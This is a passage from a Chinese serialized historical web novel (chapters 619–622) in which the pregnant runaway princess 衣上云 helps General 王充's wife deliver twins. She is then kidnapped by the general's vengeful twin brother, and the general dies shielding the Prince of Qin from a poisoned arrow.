又许是饿的太久,霎时间一阵晕眩感袭来,整个人便就这样顺势倒了下去。 夜半醒来。 一盏温暖的烛光下,衣上云静静地躺在一户人家的屋子里。 耳畔隐隐约约忽然传来俩个小丫头的声音:“醒了醒了,夫人,这位小姐醒了!” 见她终于清醒慢慢睁开了眼睛,一大腹便便的妇人朝她走了过来,轻唤她道:“姑娘,你终于醒了……” 衣上云只觉得自己着实有些无力,一边缓缓起身来,一边仔细打量了一番周围,问:“我这是在哪儿?” 那妇人梳着一个高高的发髻,慈眉善目,和蔼友善地与她介绍说:“这是觻县王家,方才家中小厮半夜关门的时候,见你晕倒在我家门前,便将你带了回来。” “觻县……王家……” 衣上云挣扎着坐了起来。 第六百一十九章:双生胎呱呱坠地 “莫非……这是王充,王将军的府邸么?” 衣上云缓缓坐起身来,环顾了一眼周围。 见里面的陈设都极为陈旧简朴,没有一丝奢华。 眼前的妇人亦只有其发髻上,仅仅簪着一两支银饰,除此之外,再无一点珠翠。 若不是那妇人的气质,俨然一副大家闺秀的素养,将家中一切管理的井井有条。 这里再怎么看,一点儿也不像个将军的府邸。 这时,妇人极其温柔的眼神看着她,对她点点头,道:“王充正是我的夫君。” 衣上云这才恍然大悟:“原来您就是王夫人!” 继而对其大加赞赏:“觻县的百姓们对王将军及夫人甚是爱戴与感激呢!说当时,若不是王将军一身正气,大义凛然,打开城门放人的话,觻县的百姓可就真的全都遭殃了。” 妇人缺谦虚地说:“姑娘莫要这样说,真是折煞我们了。我们做的还远远不够。上次的沙暴死了那么多人,我到现在都还未能在菩萨的面前赎清罪过呢!” 妇人一边说,一边轻抚了抚自己圆滚滚的腹部。 衣上云这才仔细端详了一番身边妇人的肚子,问道:“看夫人这样子,是不是马上将要足月临盆了?” 妇人坦言道:“姑娘看得真准,的确就在这两天了。” “真好!”衣上云情不自禁地忽然就羡慕了起来,不知自己什么时候才能平平安安的等到她的孩子出生。 这时,妇人似是忽然想起了什么,道:“对了,还没有问姑娘的闺名呢?” 衣上云愣了一下,道:“我……夫人就叫我云儿吧!” “云儿……好吧……”见着衣上云脸上忽然浮起一抹犹豫,似是有什么难言之隐,碍于毕竟俩人是第一次见面,妇人也不好问的深了,便也没再说什么。 衣上云似是越看越喜欢,眼睛一刻都不舍得离开。 瞅着瞅着,忽然似是看到了有什么不对劲,便说:“看夫人的肚子,似是要比一般的孕妇大许多,该不会是双生胎吧?” 妇人一听,垂首亦看了看自己的肚子。 继而吃惊又高兴地道:“借姑娘吉言,若是我怀的真是双生胎,我一定让我家夫君,包个大红包给姑娘做谢礼!” 衣上云笑了笑,遂朝妇人跟前凑了凑,饶有兴致地道:“如果不介意的话,让我给夫人把把脉吧。” 妇人顿惊诧地看向她的脸,道:“姑娘还会把脉?” “略懂一二。”衣上云笑了笑,遂将一手附了上去,轻轻地搭在了妇人的脉搏上。 半晌后,她终于缓缓松开了手。 妇人着急地问:“怎么样?” 衣上云笑了笑,说:“《脉经·卷九》里面有记载,妊娠四月,欲知男女法,左疾为男,右疾为女,俱疾为生二子"。 妇人听了不甚明白,问道:“此为何意?” 衣上云解释道:“意思就是,怀孕到了第四个月,就能知道是男孩还是女孩了。方法就是按照男左女右的原则,左侧脉疾为男孩,右侧脉疾为女孩。两侧俱疾,那便就会旦龙凤胎、生二子了。” 至此,妇人终于似是有些明白了她的意思。 就在其尚还沉浸在自己的思绪中时,衣上云忽然开口对其笑着说:“恭喜夫人,夫人这胎,应是双生无疑。而且,极有可能还是难能可贵的龙凤胎。” 妇人惊得顿时张大了嘴巴,愣愣地道:“这……这是真的吗?” 衣上云肯定地点了点头:“定是真的!” 妇人简直不敢相信自己的耳朵,道:“这可真是太好了!我与夫君年近四询才有了身孕,夫君若是知道我将为他诞下一儿一女的双子,一定比我更高兴。” 看着妇人此刻无比高兴的模样,衣上云心里五味杂陈。 为什么同样的事情,发生在自己身上,就只有死路一条呢? 衣上云陷入了深深的思考之中。 不知是不是因为衣上云这一把脉,那妇人一激动,竟整个人忽然定住了。 衣上云见其似是有些不对劲,便急忙询问:“夫人,你怎么了?” 那妇人只觉下身瞬间有一股热流涌出,便害怕了起来,道:“我,我,我……羊水好像破了,我好像要生了。” “夫人要生了,夫人要生了。快去叫李妈妈,快去……” 伴随着屋内一个丫头的叫声,顿时间,一院子的人都炸开了锅。 “快去烧热水……” “快去叫老爷赶快回来……” …… 时间一分一秒的过去。 除了产妇一直痛苦不断的呻吟,从屋内亦传出了李妈妈阵阵着急的声音。 “用力,用力呀……” “王夫人,你必须使劲儿才行,否则孩子的头一旦卡住,是很危险会窒息的。” 就在这时,王充亦风尘仆仆地回家来。 衣上云紧忙朝其屈膝行礼,道:“王将军。” 王充一见,竟是带领着百姓们治沙的衣上云,便惊诧地道:“怎么是你……” 衣上云道:“是我,是您的夫人方才救了我。” “夫人……夫人怎么样了?”王充这才急急回过神来,问。 “啊……” 就在这时,伴随着妇人发出的一声惨叫,终于传出婴儿洪亮的哭声来。 刹那间,院子里所有的人,包括衣上云,都屏住呼吸等待着太久。 听闻这声孩子呱呱坠地,健康极了的声音,俱都手舞足蹈地欢呼起来。 “生了” “生了” “夫人终于生了……” 可就在这时,李妈妈忽然跑到门口来大叫了一声:“不好了,夫人是双生。小姐被先生出来以后,小少爷……小少爷……” 衣上云紧随着王充的脚步,与其一道急急上前去,异口同声地问 “小少爷怎么了?” “小少爷怎么了?” 李妈妈像是害怕极了,双手沾满了血迹,颤抖着道:“小少爷出生后,便就没了呼吸。” “什么……”衣上云顿时惊呆了。 来不及思考,便就这样毫不避讳地闯了进去。 衣上云对其很快进行了一番检查后,确定孩子没了呼吸,亦没了心跳。 衣上云没有一丝犹豫,立刻不停的拍打婴儿的后背,按压他小小的心脏处。 见他依然没有反应,赶快一只手将婴儿拿起来继续拍打。 依旧没有反应,她便继续按压心脏。 还是没有反应,她便继续拍打,继续按压心脏,可依旧还是没有反应。 衣上云始终都不放弃,继续拍打着孩子的后背,用手抠出婴儿口中的异物。 在场所有人都被其举动吸引了。 就在此刻,终于,孩子的嘴巴微微动了动。 衣上云看见,继续努力揉搓起婴儿的后背,按压他的心脏。 继续……继续……继续…… 终于,婴儿哇哇大哭了起来。 那洪亮的哭声,似是欲想将这沉睡的黑夜唤醒一般。 院子里一直等待着的王充听到这声音,眼里含着泪水无比激动,不停地重复着道:“谢谢……谢谢……谢谢……” 军营里。 已许久未合眼的卫宁,正准备宽衣解带去打个盹,忽闻传来衣上云对轩辕翰以死相逼夜里出走的消息,又紧忙整理好衣装去见轩辕翰。 顶着风沙带人在附近寻了许久,一回来进入主帅的帐内,轩辕翰便着急地问:“怎么样,找到了吗?” 卫宁满身尘土,摇了摇头:“属下带人已将军营周围全都搜了一遍,并未见到娘娘的影子。” 满腹期待的轩辕翰,心里早已自责不已:“都怪本王,是本王不该逼她。她已经失去过一个孩子了,本王应该想到,以她的性格,这次无论如何她都不会放弃。可她又怎会知道,在本王的心里,与她同样不想放弃。但如果……在她与孩子之间,一定要本王做出选择,不管多少遍,本王都会毫不犹豫地选择她!” 看到轩辕翰如此低沉又为难,卫宁感同身受,遂想了一瞬,道:“王妃娘娘乃一女子,她的脚步不可能比我们这些身怀武艺的人骑马的速度还要快。属下觉得,王妃娘娘如今定还在觻县境内。” 闻此,轩辕翰忽然想起衣上云临走时,夺走的那只小瓷瓶,于是更加担心了起来:“她该不会是……又去大漠了吧?” “大漠……殿下之意是王妃娘娘又……”卫宁似是想到了什么。 稍一思量,惊慌失色地道:“不好,大漠里已经刮起了沙暴,王妃娘娘若是此时前去,后果定将不堪设想。” 轩辕翰顿怒不可遏地将重重的一拳砸在了面前的案几上,继而紧忙立起身来,道:“速去大漠!” 卫宁急道:“可是殿下,沙暴即将到来,觻县的百姓生活居住的相当分散,必须很快找出一个对觻县颇为熟悉的将领,将百姓们快速转移到安全的避难所才行啊。” 轩辕翰遂想了一阵,道:“对觻县颇为熟悉……这不就有现成的嘛!” 卫宁似乎猜到了是谁,道:“殿下是说……” 轩辕翰问:“王充现在何处?” 程良稍一思考,道:“听说王充的夫人今夜生产,想他应该是回家了!” 轩辕翰又问:“可知王充的府邸所在?” 卫宁点了点头。 轩辕翰便带着一众人等气势汹汹地走出了营帐。 霎时间,只闻一阵马鸣声响起,似是要划破这漆黑的暗夜一般,继而传来马蹄声哒哒……哒哒…… 第六百二十章:变脸 觻县,王家大院。 家主王充爱不释手的抱着他的一对孪生儿女,在众人的簇拥与祝福下,直笑得久久合不拢嘴。 “这真是太好了,祖宗保佑,我王家终于后继有人了!” 床榻上,王夫人尚还虚弱地斜靠在床头,然看到王充从未如此高兴过,心中亦甚是欢喜着。 一对称心如意的儿女,瞬间将自己方才生产时所有的疼痛,俱都忘的烟消云散了去。 衣上云则静静的站在一边,微微远离拥挤的人堆。 看着两个新生命的到来,为这座院子里所带来的无穷欢声笑语。 突然,前面俩个凑热闹的小丫头,忽然向后退了两步,吓得衣上云赶忙用两只手护在了自己的腹部。 这时,王夫人细心地似是发现了什么,轻唤一旁的男人:“将军……将军……” 王充只顾着将一双喜不胜收的眼睛放在自己怀里的一儿一女身上,哪里还有心思顾及其他,王夫人唤了好几声,方才将他唤醒。 他这才意识到床榻上虚弱的妻子,继而赶忙将他们的孩子抱到床前去给妻子看。 “夫人辛苦了。快看,你可算是给我王家生了一对好儿女,一儿一女,正好凑成一个好字。” 王夫人亦欢喜地瞧了一眼,转而说道:“将军有所不知,我之所以能平安地为将军诞下这对龙凤胎,全是因为今夜有贵人来相助。” 王充听了,顿看向夫人的脸。不解地道:“贵人?” 王夫人遂将目光投向了衣上云的脸上。 王充亦随其目光看了过去。 王夫人悠悠道:“今夜云儿姑娘的到来,恍若就像活菩萨降临一般。起初,她为我诊脉,说我腹中的孩儿定是双生的龙凤胎,起先我还半信半疑,不料结果还真的是了。” 说着,将目光又转移回王充的脸上,道:“将军,你务必一定要好好谢谢云儿姑娘才是,若不是她,咱们的儿子刚出世怕便就凶多吉少了……” 想起方才的惊险一刻,王夫人直到现在还后怕着。 她简直不敢想象,今夜如果没有衣上云,自己会怎样?她的一双龙凤胎又会怎样? 闻此,王充将怀里的孩子递给了身旁的李妈妈,起身来抱拳朝着衣上云认真极了地说:“多谢云儿姑娘的救命之恩,王充这辈子定当铭记于心,姑娘日后若有任何需求,王某定当竭尽全力替姑娘达成!” 衣上云微微笑着说:“王将军,王夫人不必客气,方才夫人亦救了我一命,我这便就算是回报你们了,千万不要再往心里去。” 霎时间,传出一阵孩子的啼哭声。 王夫人即刻吩咐道:“李妈妈,孩子可能是饿了,你带小姐和少爷下去找奶娘吧。” 李妈妈答应道:“是,夫人。” 于是,便转身急急退了下去。 屋内的一众丫头小厮亦随其一起退了出去,替其将门轻轻掩上。 顿时,一室寂静。 这时,王夫人心下里犹豫了一瞬,忽然开口问:“云儿姑娘,你……是不是也有了身孕?” 衣上云顿时心里一惊,双手紧紧捏住自己的衣角,为难地欲言又止:“我……” 未及衣上云开口,王充惊诧地扬声说道:“什么?你……你已有身孕了?” 想了很久,王夫人终于还是忍不住将自己心头的怀疑说出口来:“姑娘并不是觻县人士,对吗?” 闻声,衣上云顿惊看向她的眼睛,不知妇人眼力竟如此之好,遂惊讶地问:“夫人怎么知道的?” 王夫人一见真的被自己说中了,于是道:“觻县地处西北边境,常年干旱缺水,又多风沙沙尘天气,哪里会生出姑娘这般晶莹剔透,水灵甜美的模样!况且,姑娘的气质,一看便就非同一般,如若不是有意遮掩,说姑娘是皇族的公主娘娘也并不为过。” 见着已然再也蛮不住,衣上云索性实话实说:“好吧,我……的确是从皇城来的,但也确实没有夫人口中所说的那般尊贵。” 闻此,王夫人与王将军二人顿时面面相觑对视了一下。 很快,王夫人又继续问:“姑娘一个人来这么危险的地方做什么?既然是千里迢迢从皇城而来,好歹身边总要有个照顾左右的丫头或者小厮什么的,一个人怎么能行?更何况,姑娘如今还有着身孕。” 衣上云实在不知该如何应对此时王夫人对自己打破砂锅问到底的架势,索性便道:“我……我因为一些事情与家人决裂了,所以才会孤身一人来到这里……” “什么?你是离家出走的?”王夫人顿时惊诧极了。 “就算是吧。”衣上云道。 “到底是怎样的人家,竟会如此对待已经有了身孕的女子。”王夫人难以置信的说道。 “这是我自己的问题,与家人无关,这些事,亦都是我自己的事,还请夫人不要再过问了。”衣上云显然不想再继续讨论这个话题。 这时,王夫人觉得衣上云定是误会了什么,便朝其致歉:“姑娘不要多想,刚才我只是看到姑娘一直有意无意地护着自己的肚子,所以心里才起了疑问,并无窥探姑娘隐私之意。姑娘对我王家有大恩,我们夫妇只是想报答帮助姑娘。” 衣上云再次朝其申明:“方才我已经说过,夜里夫人也曾救了我,和我腹中的孩子,所以,你们并不欠我的。” “可是……”王夫人隐隐总觉得,衣上云的眉宇之间总有着丝丝缕缕的愁绪。 像是遇到了什么解不开的难事,便还想再试探着问一问,看看自己能不能帮她些什么。 可自顾自只想着自己心里的事情,亦感觉自己的身子已无大碍,衣上云便开口将其打断。 朝其告辞:“我还有急事要处理,既然夫人已经平安生产,那我便就此告辞了。” 这时,愣在一边一直似是陷入某种沉思中的王充,终于急急开了口,劝说道:“王……不……姑娘万万不可,现在外面的风沙越来越大了,千万不可现在出门,还是在我府中再避一避吧。” 衣上云却似坚定极了地说:“就是因为风沙越来越大了,有些事,我才必须急着去做。好了,云儿就此拜别二位,后会有期!” 说完,便兀自迈开步伐朝着门口过去,伸出双手将门拉开,跨过门槛走了出去。 “姑娘,姑娘……”王夫人依旧阻拦着。 见其果真头也不回的就这样走了出去,紧忙一把拽住身旁的王充说:“将军快去,务必将云儿姑娘追回来,看这天,今晚怕是要起更大的风了。” 王充信誓旦旦地道:“夫人放心,我马上去把她追回来。” 说着,便亦急急跟了出去。 王充一出门,很快便追上了衣上云的脚步,遂在其身后叫住了她:“云儿姑娘请留步……” 衣上云顿足停下,转身客气的道:“王将军,可是还有什么事吗?” 岂料王充竟忽换了一副姿态,称呼她:“王妃娘娘……” 衣上云顿惊看向他的脸,道:“你早就已经知道我是秦王妃?” 王充悠悠道:“不错,我早就已经派人在王妃娘娘带领治沙的百姓中查明了娘娘的身份。没想到,王妃娘娘竟是巾帼不让须眉,令王某深刻认识到,女子亦可为有所作为者,不一定比男子差。” 衣上云不知王充为何如此,便问:“既然如此,那王将军为何还要在夫人面前假装不认识我呢?” 王充解释道:“夫人一向身子弱,我不想她多心。再说,王妃娘娘也不想别人知道您如此尊贵的身份,不是吗?” 见王充突然换了一副阴阳怪气的嘴脸,衣上云亦再与他无话可说。 于是,她便转身只想赶快离去。 岂料刚一转身,王充忽然说:“王妃娘娘还是放弃吧,没有用的。你的草场和防护林刚刚建成,马上即将到来一场极有可能是觻县史无前例的大沙暴,沙暴过后,你们所做的一切都会荡然无存的。” 衣上云一听,顿生气极了地转身对其怒吼道:“不会的……” 王充冷冷笑了一阵,想了想,又道:“想必你应该还不知道吧!” 衣上云满脸疑惑地问:“什么?” 王充深吸了一口气,道:“皇上已经下令,命我7日之内提带领百姓治沙女子的首级去见。” 衣上云却似乎并不关心自己的性命,只吃惊地道:“7日……” 王充早已将日子算好:“明日便是最后一日,明日过后,若是皇上看不到你的首级,那便要我奉上全族的首级。” 衣上云算了算,说:“7日……够了……” 王充丝毫看不到衣上云眼里的惊慌,闻此问她:“够了?什么意思……” 衣上云竟露出了一丝微笑,神秘地道:“你会知道的。不过,在王将军取走我的首级之前,请允许我为觻县的百姓再做最后一件事,可以吗?” 不得不承认,原本对衣上云并无什么好感的他,明显却早已被她的善良所渐渐融化。 遂想了想,道:“好,本将军答应你,明日过后,本将军定会亲自取走你的项上人头。” “多谢~”衣上云最后对其笑了笑,便就转身脚步坚定又匆匆地离去。 一连穿越了好几个拱门,眼看着马上就要走到门口时,忽然迎面而来一队人马。 第六百二十一章:将军的同胞兄弟 一连穿越了好几个拱门,眼看着马上就要走到门口时,忽然门外来了一队人马。 最后,除了只有俩个人进门来,其余的都留在门外守着。 见着这俩人进门后一路上毫无阻挡,所见守卫俱都朝其极为恭敬地行礼。 衣上云喃喃低语道:“是什么人?竟然能在将军府中畅行无阻。” 于是,顿停下脚步来定睛仔细一看。 其中那与自己正迎面而来,走在最前面亦最显眼的一人,其冷厉的脸上轮廓看起来似是那般的熟悉。 伴随着距离自己越来越近,衣上云赶忙退身回去藏到一墙角里。 很快,终于看清了那人的面孔,遂发出一阵惊声:“是殿下……” 霎时间,那宛若夜之神袛一般的男子似是听到了她的声音。 忽然停下了脚步,朝四周暗处打量了起来。 身旁的侍卫见了,疑惑地问:“殿下,怎么不走了?” 就连轩辕翰自己也不敢相信,此时此刻,在这个陌生的地方,他竟然感受到了衣上云的气息。 遂问那侍卫道:“你可听到这里方才有什么声音?” 侍卫一听,遂侧着耳朵仔细听了听,道:“这院子里除了风声,似乎并无其他的声音啊。” 轩辕翰显然并不这么认为,他立在原地片刻,最后忽然缓缓挪起脚步来。 而他所正要朝着寻去的方向,正是衣上云所依附,隐蔽藏着的墙角落里。 此时,衣上云亦是心跳加剧,屏住呼吸,两只手死死地捂在嘴上,好不让自己再发出一点点声音来。 一步 两步 三步 …… 就在只差一步,只要再迈出一步,他便就能找到自己心心念念所正在找的人。 可就在这时,在与衣上云进行了一番交谈后,尚还在目送她离开,并未真正离去的王充,在一边看到衣上云似是在有意躲着轩辕翰。 心里不禁纳闷地道:“这秦王妃看起来,怎么像是故意在躲着秦王一样?” 来不及多想,便就抽身这样从后院疾步上前来,朝轩辕翰近身过去行礼道:“不知秦王殿下深夜来访,还请恕微臣未能出门远迎失礼之罪!” 闻声,轩辕翰被其打断,忽地止步,回头道:“王将军……” 王充顿屈膝朝其俯首跪拜:“微臣王充参见秦王殿下千岁千岁千千岁!” 轩辕翰沉声道:“王将军请起!” 王充一得令站起身来,便朝其身后不远处的墙角故意扬起声来道:“外面风大,殿下请随微臣到里面说话。” 至此,轩辕翰终于收回了脚步作罢。 一边朝身后斜了一眼,一边在王充的带路下迈步进去。 终于,衣上云缓缓松开了两只手,长长地舒了口气。 接着,一遍又一遍地轻抚着自己的胸口处,像是被吓得不轻:“好险,差点就被发现了。” “大门有重兵把守,看来大门是肯定出不去了。”就在她刚刚缓了口气后,正准备寻找其他出路时,忽然从身后伸出一只手来。 神不知鬼不觉地,便就从后面将衣上云的嘴捂了住,衣上云瞬间便晕了过去。 再次醒来时。 她方才发现自己已被人用绳索紧紧捆绑住手脚,许是怕她的呼声会再引来别人,就连嘴巴也一起堵了,丢在一间空荡荡的密室角落里。 屋内,一盏昏黄的灯火忽隐忽现,在大风的摧残下又似若有若无。 里面的光线实在太暗,以至于她根本看不清楚那人的脸,只看到墙上隐隐约约的亮光中现着一个男人的身影。 “嗯嗯嗯……嗯嗯嗯……”被堵了嘴的衣上云只能靠依稀发出一阵断断续续,微弱的声音,将那人引过来。 而那躲在室内暗处的身影闻声,也终于缓缓走了出来。 却见竟原是个一瘸一拐的跛子,依靠着一对拐杖,虽然艰难却似也早已习惯了地来到了她的面前。 遂俯身下去,将堵在衣上云嘴上的帕子拿开。 衣上云与其四目相对,这才惊讶的发现,此时面前的这张脸,与一个人简直一模一样。 便惊诧极了地对那人呼唤道:“王将军……不……你不是王将军。” 没错,眼前的这张脸,像极了大将军王充,可他却并不是王充。 王充眼中所散发出来的光是正义的,而眼前这个人,目光着实令人有些捉摸不透。 衣上云心里似是隐隐想到了什么,便试探着问:“你是什么人?为什么将我绑在这里?” 那跛子冷笑了一阵,侧过身去对着她说:“你不必管我是谁,我是谁并不重要。在这个世上,从来都没有人在乎过我是谁。从一出生起,我便就是被放弃的那一个。然重要的是,你得知道,你马上就要没命了!” “你说什么?你要干什么?”衣上云顿觉惶恐不安地问。 一边说,一边后退着往墙角里缩了缩。 跛子又接着说:“你说你放着好好的秦王妃不做,跑到这漫天黄沙的觻县来做什么?” 他虽久居边关,但也早有耳闻,秦王轩辕翰舍弃与东宁国皇室联姻,娶了个西秦国的平凡女子,能让灵空战神看得上的女子,又怎可能只是个平凡女子呢?想她定是有过人之处。 尔今一见,也不过如此。 衣上云只觉心里越来越害怕:“我……你不要乱来。” 跛子说着,缓缓将目光移回到衣上云的脸上,忽然变得面目狰狞起来地说:“我可不像我哥,就知道妇人之仁。之前阳奉阴违放走那些刁民也就算了,如今他竟然越来越不知天高地厚,竟不惧皇命,想要陪上我全族的性命,就连刚刚出生的两个婴儿都不放过,就为放了你这个贱人!” 岂料这一激动,反倒最终暴露了自己。 衣上云吃惊地道:“你哥……你真的是王充将军的弟弟?” 跛子顿意识到自己的失言,倒也不再苦心伪装:“算你聪明。反正也是个将死之人了,知道了又有何妨?我与我哥,正是一对双生连体兄弟。出生时为了保我哥,我生下来便就没了双腿,只能依靠着假肢生活。” 衣上云听了,心中不由得升起一抹同情。 继而赶忙解释道:“我想你肯定是误会了,王将军他并未放过我,我只是求他再给我一天时间,让我为觻县百姓做完最后一件事情。过了明天,你们想拿我怎样都行?” 跛子一听便来了气:“你认为我是三岁小孩吗,虽然我腿残,但不是脑残。再给你一天时间,万一你跑了怎么办?” 衣上云信誓旦旦地道:“我不会……” 跛子道:“我怎么信你?” 就在衣上云当真有些不知该让他如何相信自己时,又有一人进到了密室里来。 “胤弟,你在做什么?” 王充三言两语很快便送走了轩辕翰的人马,又从府中侍卫的口中打探到并未看到衣上云离去。 于是,便已想到了定是王胤欲要为难她。 便一路追到了这里,一走进来,看到缩在墙角陷入惊恐之中的衣上云,便问王胤。 “大哥……”王胤闻声,顿回头朝那身后来人吃惊地道。 “你这是在做什么?你可知道她是谁?”王充兀自走近到王胤的身边,不解地问。 王胤恨恨地道:“我当然知道她是谁?她是秦王轩辕翰的心尖宠,更是此次带头治沙的那个该死的女人。” 王充认真地看了看衣上云的脸,默想了一瞬,忽然开口命令说:“把她放了,她不该死!” 闻此,衣上云与王胤俩人俱都惊讶极了地看向王充的脸。 “放了他……那我们王家全族就该死吗?你那刚出生的一对可爱的儿女就该死吗?嫂嫂可谓是在鬼门关前走了一遭,方才替你诞下这一儿一女。这件事,你又要如何与她来说?” 王胤听了,难以接受,撕心裂肺地说。 王充却道:“胤弟,放眼过去,无论是先皇,亦或还是后来的那些鸡零狗碎。你看看,有哪一个能像她这般,日日与百姓们一同日出而作,日落而息的。况且她还是名女子,且怀着身孕!” “我……可是……”对此,王胤的确无可辩驳。 就在兄弟俩为此而陷入争执的时候,默默在一旁的衣上云终于开了口。 “两位不要再争了,我是绝对不会让你们任何人代我去死的。我没有骗你们,明天我的确有很重要的事情一定要做,这件事,与这场即将到来的大沙暴息息相关,很有可能将会起到决定性的作用。等这件事完成,我一定会再回到这里任凭二位处置的。” “咚咚咚……” 就在三人又一同陷入思考时,再次传出一阵紧急的叩门声来。 深更半夜,会是谁呢? 王充遂急步过去将门缓缓拉开一条缝隙,只探出个脑袋去。 一见来人是府里的一个小厮,神情像是有些慌张,便问:“深更半夜的,有什么事不能等明天再说吗?” 那小厮急急忙忙道:“老爷不好了,秦王殿下带着人又折返来了。” 王充顿时有点慌张,便问:“你说什么?他又回来做什么?是不是有人向他透漏了王妃娘娘曾经来过的消息?” 那小厮只道:“将军既已下令,府里自是不会有人说的。卫将军只说秦王殿下方才好像落下了什么东西回来取,老爷您还是自己赶快去看看吧。这会儿,他们正朝着这里过来呢!” 第六百二十二章:暗箭夺命 听到轩辕翰去而又复返,再次折回的消息,未及王充开口说话,衣上云顿时惊地瞪大了眼睛。 抢先疾呼了起来:“求求二位,赶快将我松开,千万不能让殿下知道我在这里,求求你们了!” 见她神情如此紧张,眼中甚至泛起了无尽的恐惧。 这时,王充方才似是想起了什么,便问她:“你堂堂秦王妃,为什么要故意躲着你的夫君……秦王?” 衣上云满腹委屈,却不知如何对他说出口来:“我……我是真的有情非得已的苦衷,还请二位千万莫要将我交给秦王殿下。否则……否则我一定会没命的……” 眼看着衣上云说的如此情真意切,急的都快要哭了。 如此温柔善良的女子,为何会有现在这般惶恐的模样。 王充遂想了想,忽然变得有些气愤起来,问她:“难不成,你是被逼嫁入秦王府的?” 见王充已然误会了自己,衣上云连忙解释道:“那倒不是……我与秦王之间,实属一言难尽……” 王充还想继续提问,衣上云紧张又着急地望了望门外,说:“将军心里若是还有什么其他的问题,待我回来再慢慢同将军一一作答。可是现在,还请将军放我速速离开这里。沙暴将至,我只怕,只怕一切会来不及了……” 虽然不知道她究竟要做什么,但是王充觉得自己是可以相信她的。 或许,她真的就是那个千百年来难得一遇的可以救觻县百姓的人呢? 一念至此,他下定了最后的决心,坚定地上前了两步过去,欲想替其解绑。 这时,一旁的王胤抢了两步过去挡在衣上云的面前,阻止道:“哥,不可以,你千万不要被这个女人的花言巧语给迷惑了。她这一走,定是再也不会回来了!” 衣上云肯定极了地道:“不,相信我,哪怕就是死,我也不会连累任何一个人替我去承担本该我自己承担的后果。” 眼看着自己处心积虑好不容易将这个女人捉住,此时却无计可施,便就要让她这样逃脱。 王胤一气之下,竟悄悄掏出一把早已暗藏在身上的锋利匕首来。 忽地转身,向着衣上云的左胸口处刺去。 而被紧紧捆绑着手脚瘫坐在地上的衣上云,丝毫没有抵挡的可能,只能本能一般地侧转过身去,紧紧闭起眼睛来,背对着他依在墙角。 眼看着刀尖还有一寸,便就要刺到她身上。 就在这时,一个身影破门而入,仿佛一道闪电般地出现,第一时间挡在了衣上云的前面:“云儿小心!” “嘶”伴随着耳畔传来一阵吃痛的闷哼声。 衣上云遂将眼睛忽地睁开,侧过脸去一看,方见原是轩辕翰及时赶到,正将自己整个人都紧紧地护在他坚实而宽大的怀里。 一室寂静。 只闻那把匕首“咣当”一下落地,继而发出极清脆的一阵声音来。 借着屋内昏暗的烛火照耀,衣上云这才看到面前地上的那把匕首上染满了鲜血淋淋。 于是便惊恐地道:“殿下……你怎么样?伤到哪儿了?到底伤到哪儿了,快给我看看,给我看看。” 轩辕翰努力使自己保持镇定自然的表情,很快便将束缚衣上云的绳子解了开来。 衣上云一挣脱束缚,便赶忙在轩辕翰的身前身后查看了起来。 轩辕翰努力挤出一抹笑来不让她担心害怕,只自顾自地道:“本王没事,本王一踏进这座院子,便就知道你一定在这里。本王怎么可能会将你落在这里。不过还好,你没事。云儿,对不起,是本王错了,本王真的知道错了,跟本王回去吧,好不好?” 就在所有人,俱都将注意力放在眼前这俩人身上时,门外忽然从漆黑一片的夜色中射入一支冷箭来,直朝向轩辕翰而去。 “殿下小心!” 衣上云正对着门口,一看到暗箭相向而来,便一个急转身将自己弱小的身躯护在了轩辕翰的身前。 轩辕翰转而一看到暗箭,复又一把将衣上云拽到了自己宽大的身后。 这时,王充在旁眼疾手快地一发现,便只身上前挡在了俩人的身前,顿喷出一大口鲜血。 而此时,折返王家后与轩辕翰分头寻找衣上云的卫宁亦刚刚赶到。 那射出暗箭的人见其带人过来,拔腿便仓皇而逃了去。 卫宁听到动静后,顿扬声大叫了一声:“什么人?” 霎时间,便有数名侍卫紧追了上去。 王胤见其兄中箭,顿时发出一阵惊叫声:“哥……” 继而在王充马上将要倒地时,过去将他牢牢接住。 轩辕翰亦朝其身边过去,关切地询问道:“王将军,你怎么样?” 同时,衣上云赶忙过去替其检查和把脉。 弥留之际,他依靠在弟弟的怀里,对轩辕翰说道:“秦王殿下,能为殿下而死,微臣荣幸之至。这些年,微臣深知璟帝不仁,本就平日里对觻县苛捐杂税,百姓们苦不堪言。大灾面前,他不但不救灾,还令微臣追杀所有觻县逃亡的灾民。那些一个个,可都是看着我王充从小光着屁股长大的同乡啊,我怎忍心拔剑朝向手无缚鸡之力的他们?!” 轩辕翰见他意识很快便变得涣散起来,于是命令他:“王充,本王命令你,静下心来,不要再说话,保持清醒,积聚体力!” 说着,看向衣上云的脸,问她:“怎么样?” 岂料衣上云竟缓缓摇了摇头:“箭上有剧毒……” 轩辕翰紧忙追问:“可有办法解毒?” 衣上云幽幽道:“这是一种极其罕见的毒药,叫做鬼头粉。一旦中毒,便绝无生还的可能。” 王胤一听,顿时失声大哭起来:“哥……你为什么要这么傻,为什么要替这些不相干的人去挡箭!” 可王充却只急着想要将他未说完的话都说完,只怕慢一秒,此生便就再没了机会。 “秦王殿下,下辈子,微臣真希望,殿下为君,臣仍为臣,臣的一生,都只以殿下马首是瞻。” 轩辕翰见他说完,便想闭起眼睛来,于是大声在他耳边一次次的呼唤他:“王充……王充……” 然最后,王充已然渐渐失去了视觉,就连说话的声音亦愈来愈轻:“求殿下,绕了王胤,饶了他对王妃娘娘的大不敬。这一切,虽并非微臣所能掌控,却也皆都是因了微臣,他才会一出生便落下这一生的残缺。微臣这一生,终是亏欠他太多,一切,就只能都期待来生了……” 听了这番话,王胤顿时反醒:“哥……你不要说了,不要再说了,都是我不好,都怪我。今夜,我若不将她带来此处,这一切,便就都不会发生了。我错了……哥……对不起,对不起……” 王充听见,眼角也落下了泪来,依依不舍地嘱托道:“王胤,你是一个男人,你要好好活着,替哥好好养大那两个孩儿,看护好他们,教好他们,以后一定要做个顶天立地的人。” 王胤已然后悔不已,泣不成声。 王充最后朝轩辕翰与衣上云祈求道:“秦王殿下,王妃娘娘,微臣求你们,护住这座城,救救……救救觻县!“ 终于,王充再也感受不到身上的痛苦,轻轻闭合上了眼睛。 衣上云赶紧检查,最后摇了摇头,心痛地说:“王将军,他已经……” “去给本王查,方才究竟是谁?竟妄想要对本王下手!”轩辕翰彻底被激怒了。 “哥……” 伴随着一声凄惨至极的哭声划破夜空。 原本到处一片其乐融融,喜庆的院子。 转眼,却处处挂起了道道高高的白帐。 前一秒有多高兴,后一秒便就有多痛苦。 这人世间。 有人降生,便有人离世。 年复一年,日复一日,周而复始。 军营里。 卫宁一脸沉色,脚步匆匆地进来:“殿下!” 轩辕翰回营后,只将衣上云安顿好,便坐在帐内等候着,眼睛都未曾合一下。 看到卫宁回来,沉声问:“可都查清楚了?” 